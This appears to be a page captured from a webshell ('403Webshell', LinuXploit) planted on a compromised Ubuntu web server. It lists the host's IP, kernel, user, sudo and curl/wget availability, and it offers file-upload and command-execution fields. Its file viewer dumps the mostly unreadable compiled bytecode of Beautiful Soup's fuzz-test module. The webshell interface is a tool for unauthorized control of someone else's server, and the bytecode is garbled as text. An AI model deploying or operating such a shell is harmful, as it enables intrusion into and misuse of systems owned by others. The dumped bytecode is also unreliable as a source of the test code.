403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/bs4/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/bs4/tests/__pycache__/test_fuzz.cpython-312.pyc
�

��e<���dZddlZddlZddlmZmZ	ddlmZddlZddl	Z	dZ
ejje
d��Gd	�d
e��Zy#e$rdZ
Y�6wxYw)aThis file contains test cases reported by third parties using
fuzzing tools, primarily from Google's oss-fuzz project. Some of these
represent real problems with Beautiful Soup, but many are problems in
libraries that Beautiful Soup depends on, and many of the test cases
represent different ways of triggering the same problem.

Grouping these test cases together makes it easy to see which test
cases represent the same problem, and puts the test cases in close
proximity to code that can trigger the problems.
�N)�
BeautifulSoup�ParserRejectedMarkup)�SelectorSyntaxErrorTFz/Prerequisites for fuzz tests are not installed.��reasonc�F�eZdZdZd�Zejjdddg�d��Zejjdgd��d��Z	ejjdgd	��d
��Z
ejjdddg�d
��Zejjd��ejjdgd��d���Z
ejjd��ejjddg�d���Zd�Zy)�TestFuzzz	.testcasec��|j|�}gd�}	t|d�t|�z}|dd|dd}}	t	|dd||��}t
|jd��	|jj|jdd��|j�y#t$rYywxYw#t
$rYyt$rYywxYw#t$rYywxYw)	N)zlxml-xml�html5lib�html.parser�lxmlr��
)�featuresTzutf-8�replace)
�_TestFuzz__markup�int�len�
ValueErrorrr�list�find_all�css�select�decoder�prettify)�self�filename�data�parsers�idx�css_selector�soups       �5/usr/lib/python3/dist-packages/bs4/tests/test_fuzz.py�fuzz_test_with_csszTestFuzz.fuzz_test_with_css)s����}�}�X�&��A��	��d�1�g�,��W��-�C�"�!�B�Z��b�c��d��	� ��a�b��G�C�L�A�D�	
�T�]�]�4�
 �!�	��H�H�O�O�L�/�/���C�D�	
�
�
���#�	��	��$�	���	��	��#�	��	�s:�B&�B5�*+C�&	B2�1B2�5	C�C�
C�	C�Crz:clusterfuzz-testcase-minimized-bs4_fuzzer-5703933063462912z.crash-ffbdfa8a2b26f13537b68d3794b0478a4090ee4ac��|j|�}tjt�5t	|d�ddd�y#1swYyxYw�Nr)r�pytest�raisesrr�rr�markups   r#�test_rejected_markupzTestFuzz.test_rejected_markupDs>�����x�(��
�]�]�/�
0�	1��&�-�0�	1�	1�	1�s�
A�A
)z:clusterfuzz-testcase-minimized-bs4_fuzzer-5984173902397440z:clusterfuzz-testcase-minimized-bs4_fuzzer-5167584867909632z:clusterfuzz-testcase-minimized-bs4_fuzzer-6124268085182464z:clusterfuzz-testcase-minimized-bs4_fuzzer-6450958476902400c�Z�|j|�}t|d�j�yr&)rr�encoder)s   r#�'test_deeply_nested_document_without_cssz0TestFuzz.test_deeply_nested_document_without_cssVs%�����x�(���f�m�,�3�3�5�)z:clusterfuzz-testcase-minimized-bs4_fuzzer-5000587759190016z:clusterfuzz-testcase-minimized-bs4_fuzzer-5375146639360000z:clusterfuzz-testcase-minimized-bs4_fuzzer-5492400320282624c�&�|j|�y�N�r$�rrs  r#�test_deeply_nested_documentz$TestFuzz.test_deeply_nested_documentis�����x�(r/z:clusterfuzz-testcase-minimized-bs4_fuzzer-4670634698080256z:clusterfuzz-testcase-minimized-bs4_fuzzer-5270998950477824c�&�|j|�yr1r2r3s  r#�test_soupsieve_errorszTestFuzz.test_soupsieve_errorsss��	
����)r/zhtml5lib-specific problemsr)z:clusterfuzz-testcase-minimized-bs4_fuzzer-4818336571064320z:clusterfuzz-testcase-minimized-bs4_fuzzer-4999465949331456z:clusterfuzz-testcase-minimized-bs4_fuzzer-5843991618256896z:clusterfuzz-testcase-minimized-bs4_fuzzer-6241471367348224z:clusterfuzz-testcase-minimized-bs4_fuzzer-6600557255327744z.crash-0d306a50c8ed8bcd0785b67000fcd5dea1d33f08c�l�|j|�}tt|d�j��y)Nr)r�printrr-r)s   r#�&test_html5lib_parse_errors_without_cssz/TestFuzz.test_html5lib_parse_errors_without_css�s*��.���x�(��
�m�F�J�/�6�6�8�9r/z:clusterfuzz-testcase-minimized-bs4_fuzzer-6306874195312640c�&�|j|�yr1r2r3s  r#�test_html5lib_parse_errorsz#TestFuzz.test_html5lib_parse_errors�s��	
����)r/c��|j|j�s||jz
}tjj	t
�d}tjj
|d|�}t|d�j�S)Nr�fuzz�rb)	�endswith�TESTCASE_SUFFIX�os�path�split�__file__�join�open�read)rr�this_dirrBs    r#�__markupzTestFuzz.__markup�si��� � ��!5�!5�6���,�,�,�H��7�7�=�=��*�1�-���w�w�|�|�H�f�h�7���D�$��$�$�&�&r/N)�__name__�
__module__�__qualname__r@r$r'�mark�parametrizer+r.r4r6�skipr9r;r�r/r#r	r	sZ��
"�O��6�[�[����H�<�
��1�
�1��[�[����
��6��6��[�[����
��)��)��[�[����H�H�
��*�
�*��[�[���9��:��[�[����
��*:�+�;�,:��[�[���9��:��[�[����H�
��*�
�;�*�'r/r	)�__doc__rAr'�bs4rr�soupsieve.utilrr
r�fully_fuzzable�ImportErrorrM�skipif�objectr	rPr/r#�<module>rXsw��	�
�
���2����N�
������&�/`��a�U'�v�U'�b�U'�����N��s�A�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit